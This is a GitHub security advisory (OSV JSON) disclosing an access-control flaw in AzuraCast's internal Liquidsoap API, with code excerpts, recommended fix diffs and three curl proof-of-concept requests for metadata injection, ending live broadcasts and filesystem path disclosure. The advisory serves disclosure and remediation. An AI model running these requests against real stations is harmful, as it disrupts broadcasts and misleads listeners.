{"id":"GHSA-4fm3-ggg2-c6qx","summary":"AzuraCast's Missing RequireInternalConnection on Liquidsoap API Allows Low-Privilege Metadata Injection and Broadcast Disruption","details":"## Summary\n\nThe `/api/internal/{station_id}/liquidsoap/{action}` endpoint is accessible from the public web interface because it lacks the `RequireInternalConnection` middleware that protects other internal endpoints (`/sftp-auth`, `/sftp-event`). Combined with a logic flaw where the `$asAutoDj` flag is set based on the *presence* of the `X-Liquidsoap-Api-Key` header rather than its *validated value*, any user with the basic `View` station permission can invoke privileged Liquidsoap commands — injecting arbitrary now-playing metadata visible to all listeners, disrupting live broadcast tracking, and disclosing absolute filesystem paths.\n\n## Details\n\n**Issue 1: Missing RequireInternalConnection middleware**\n\nIn `backend/config/routes/api_internal.php`, the liquidsoap route group (lines 17-21) lacks the `RequireInternalConnection` middleware:\n\n```php\n// Lines 17-21 — NO RequireInternalConnection\n$group-\u003emap(\n    ['GET', 'POST'],\n    '/liquidsoap/{action}',\n    Controller\\Api\\Internal\\LiquidsoapAction::class\n)-\u003esetName('api:internal:liquidsoap');\n```\n\nCompare with sftp endpoints that correctly apply it:\n\n```php\n// Lines 32-34 — HAS RequireInternalConnection\n$group-\u003epost('/sftp-auth', Controller\\Api\\Internal\\SftpAuthAction::class)\n    -\u003esetName('api:internal:sftp-auth')\n    -\u003eadd(Middleware\\RequireInternalConnection::class);\n```\n\nThe nginx config (`util/docker/web/nginx/azuracast.conf.tmpl`) only sets the `IS_INTERNAL` FastCGI parameter on the internal port 6010 listener (line 44), not on the public-facing server block (ports 80/443). Without the middleware, the endpoint is fully accessible from the public internet.\n\n**Issue 2: `$asAutoDj` derived from header presence, not validated value**\n\nIn `backend/src/Controller/Api/Internal/LiquidsoapAction.php`:\n\n```php\n// Line 34 — checks header PRESENCE, not value\n$asAutoDj = $request-\u003ehasHeader('X-Liquidsoap-Api-Key');\n\n// Lines 38-44 — key value only checked when ACL FAILS\n$acl = $request-\u003egetAcl();\nif (!$acl-\u003eisAllowed(StationPermissions::View, $station-\u003eid)) {\n    $authKey = $request-\u003egetHeaderLine('X-Liquidsoap-Api-Key');\n    if (!$station-\u003evalidateAdapterApiKey($authKey)) {\n        throw new RuntimeException('Invalid API key.');\n    }\n}\n```\n\nWhen a user authenticates via session/API key and has `StationPermissions::View`, the ACL check passes and the adapter API key is never validated. But `$asAutoDj` is already `true` from line 34 because the header is present (with any arbitrary value).\n\n**Affected commands:**\n\n- `FeedbackCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/FeedbackCommand.php:36`): Guard `if (!$asAutoDj) return false;` bypassed — creates SongHistory records and forces NowPlaying cache updates\n- `DjOffCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/DjOffCommand.php:24`): Guard bypassed — calls `$this-\u003estreamerRepo-\u003eonDisconnect($station)` which ends all active broadcasts and sets `$station-\u003eis_streamer_live = false`\n- `DjOnCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/DjOnCommand.php:31`): Guard bypassed — calls `$this-\u003estreamerRepo-\u003eonConnect($station, $user)` with attacker-controlled username\n- `CopyCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/CopyCommand.php:18`): No `$asAutoDj` guard at all — returns absolute filesystem paths via `$mediaFs-\u003egetLocalPath($uri)`\n\n## PoC\n\n**Prerequisites:** A user account with `StationPermissions::View` on station ID 1 (the lowest station-level permission). Obtain a session cookie or API key for this user.\n\n**1. Inject arbitrary now-playing metadata (FeedbackCommand):**\n\n```bash\ncurl -X POST 'https://target/api/internal/1/liquidsoap/feedback' \\\n  -H 'X-API-Key: \u003cview-user-api-key\u003e' \\\n  -H 'X-Liquidsoap-Api-Key: anything' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"artist\": \"INJECTED\", \"title\": \"Fake Song Title\"}'\n```\n\nExpected: Should reject — user does not have the adapter API key.\nActual: Returns `true`. The injected artist/title appears in `/api/nowplaying/1` for all listeners.\n\n**2. Disrupt live broadcast (DjOffCommand):**\n\n```bash\ncurl -X POST 'https://target/api/internal/1/liquidsoap/djoff' \\\n  -H 'X-API-Key: \u003cview-user-api-key\u003e' \\\n  -H 'X-Liquidsoap-Api-Key: anything'\n```\n\nExpected: Should reject.\nActual: Returns `true`. All active broadcast records for the station are terminated (`timestampEnd` set), `is_streamer_live` set to `false`, and `current_streamer` cleared.\n\n**3. Disclose filesystem paths (CopyCommand):**\n\n```bash\ncurl -X POST 'https://target/api/internal/1/liquidsoap/cp' \\\n  -H 'X-API-Key: \u003cview-user-api-key\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"uri\": \"test.mp3\"}'\n```\n\nExpected: Should reject — this is an internal-only endpoint.\nActual: Returns `{\"uri\":\"/var/azuracast/stations/1/media/test.mp3\",\"isTemp\":false}` — disclosing the absolute filesystem path of the station's media storage.\n\n## Impact\n\nAny user with the basic `StationPermissions::View` permission (the lowest station-level role, commonly assigned to DJs and collaborators) can:\n\n1. **Inject arbitrary now-playing metadata** visible to all listeners via the public NowPlaying API and any connected players/widgets. This poisons the song history database and triggers cache updates that propagate the false data to all consumers.\n\n2. **Disrupt live broadcasts** by terminating all active broadcast records and marking the station as having no live streamer, even when a DJ is actively broadcasting. This affects broadcast recording and live-DJ tracking.\n\n3. **Fake DJ connections** with arbitrary usernames via the `djon` command, polluting streamer logs and potentially interfering with DJ scheduling.\n\n4. **Disclose absolute filesystem paths** of the station's media storage directory via the `cp` command (no `$asAutoDj` guard required), which aids further attacks against the server.\n\n## Recommended Fix\n\n**Fix 1: Add `RequireInternalConnection` middleware to the liquidsoap route group.**\n\nIn `backend/config/routes/api_internal.php`, add the middleware to the station group:\n\n```php\n$group-\u003egroup(\n    '/{station_id}',\n    function (RouteCollectorProxy $group) {\n        $group-\u003emap(\n            ['GET', 'POST'],\n            '/liquidsoap/{action}',\n            Controller\\Api\\Internal\\LiquidsoapAction::class\n        )-\u003esetName('api:internal:liquidsoap')\n+           -\u003eadd(Middleware\\RequireInternalConnection::class);\n\n        // Icecast internal auth functions\n        $group-\u003emap(\n            ['GET', 'POST'],\n            '/listener-auth[/{api_auth}]',\n            Controller\\Api\\Internal\\ListenerAuthAction::class\n        )-\u003esetName('api:internal:listener-auth');\n    }\n)-\u003eadd(Middleware\\GetStation::class);\n```\n\n**Fix 2: Validate the API key value before setting `$asAutoDj`.**\n\nIn `backend/src/Controller/Api/Internal/LiquidsoapAction.php`, move `$asAutoDj` assignment after key validation:\n\n```php\n- $asAutoDj = $request-\u003ehasHeader('X-Liquidsoap-Api-Key');\n+ $asAutoDj = false;\n\n  try {\n      $acl = $request-\u003egetAcl();\n      if (!$acl-\u003eisAllowed(StationPermissions::View, $station-\u003eid)) {\n          $authKey = $request-\u003egetHeaderLine('X-Liquidsoap-Api-Key');\n          if (!$station-\u003evalidateAdapterApiKey($authKey)) {\n              throw new RuntimeException('Invalid API key.');\n          }\n+         $asAutoDj = true;\n+     } else {\n+         // Even ACL-authenticated users must provide valid adapter key for AutoDJ operations\n+         $authKey = $request-\u003egetHeaderLine('X-Liquidsoap-Api-Key');\n+         $asAutoDj = !empty($authKey) && $station-\u003evalidateAdapterApiKey($authKey);\n      }\n```\n\nBoth fixes should be applied. Fix 1 is the primary defense (defense in depth — this endpoint should never be publicly accessible). Fix 2 corrects the logic flaw so that `$asAutoDj` is only `true` when the adapter API key is actually valid, regardless of how authentication was performed.","aliases":["CVE-2026-100854"],"modified":"2026-09-27T11:56:07.354866429Z","published":"2026-05-04T21:18:22Z","database_specific":{"cwe_ids":["CWE-862"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-05-04T21:18:22Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-4fm3-ggg2-c6qx"},{"type":"WEB","url":"https://github.com/AzuraCast/AzuraCast/commit/13fa7a71435629147b351d3ee151b8de6acd5c8c"},{"type":"PACKAGE","url":"https://github.com/AzuraCast/AzuraCast"}],"affected":[{"package":{"name":"azuracast/azuracast","ecosystem":"Packagist","purl":"pkg:composer/azuracast/azuracast"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.23.6"}]}],"versions":["0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.11","0.11.1","0.11.2","0.12","0.12.1","0.12.2","0.12.3","0.12.4","0.13.0","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.16.0","0.16.1","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.17.5","0.17.6","0.17.7","0.18.0","0.18.1","0.18.2","0.18.3","0.18.5","0.19.0","0.19.1","0.19.2","0.19.3","0.19.4","0.19.5","0.19.6","0.19.7","0.20.0","0.20.1","0.20.2","0.20.3","0.20.4","0.21.0","0.22.0","0.22.1","0.23.0","0.23.1","0.23.2","0.23.3","0.23.4","0.23.5","0.3.1","0.3.2","0.3.3","0.5.0","0.6.0","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.4.1","0.9.4.2","0.9.5","0.9.5.1","0.9.6","0.9.6.1","0.9.6.2","0.9.6.5","0.9.7","0.9.7.1","0.9.8","0.9.8.1","0.9.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-4fm3-ggg2-c6qx/GHSA-4fm3-ggg2-c6qx.json","last_known_affected_version_range":"\u003c= 0.23.5"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"}]}